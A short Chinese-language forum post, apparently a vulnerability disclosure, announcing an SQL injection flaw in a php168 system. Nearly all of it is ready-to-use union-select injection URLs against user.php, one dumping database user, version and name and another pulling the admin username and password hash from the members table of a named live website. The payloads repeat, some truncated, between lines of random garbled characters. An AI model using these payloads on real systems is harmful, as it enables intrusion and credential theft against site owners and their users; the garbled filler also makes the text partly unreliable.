php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
+ S( S/ Q2 H: Z& U7 b% y! {& O                                                         
                                       
: l! p- H$ Z) M8 k4 y  i2 X: L
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
. q$ M2 D$ ]1 O, l7 z                                                                  
( Y& k" o( u6 c, V6 _( v0 f: h                                                        
6 J) \- R7 p9 i2 j3 P' Bhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--


# t& @4 H  L; d& N4 a  A$ A6 U6 i  k
' z: `0 q* @. m( t- H, }9 V9 m                                                            
" w- z. t5 w/ D* c
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
% H0 R/ j  [- d# S
+ I  E4 d/ h" A; O
& E& f! i) H9 p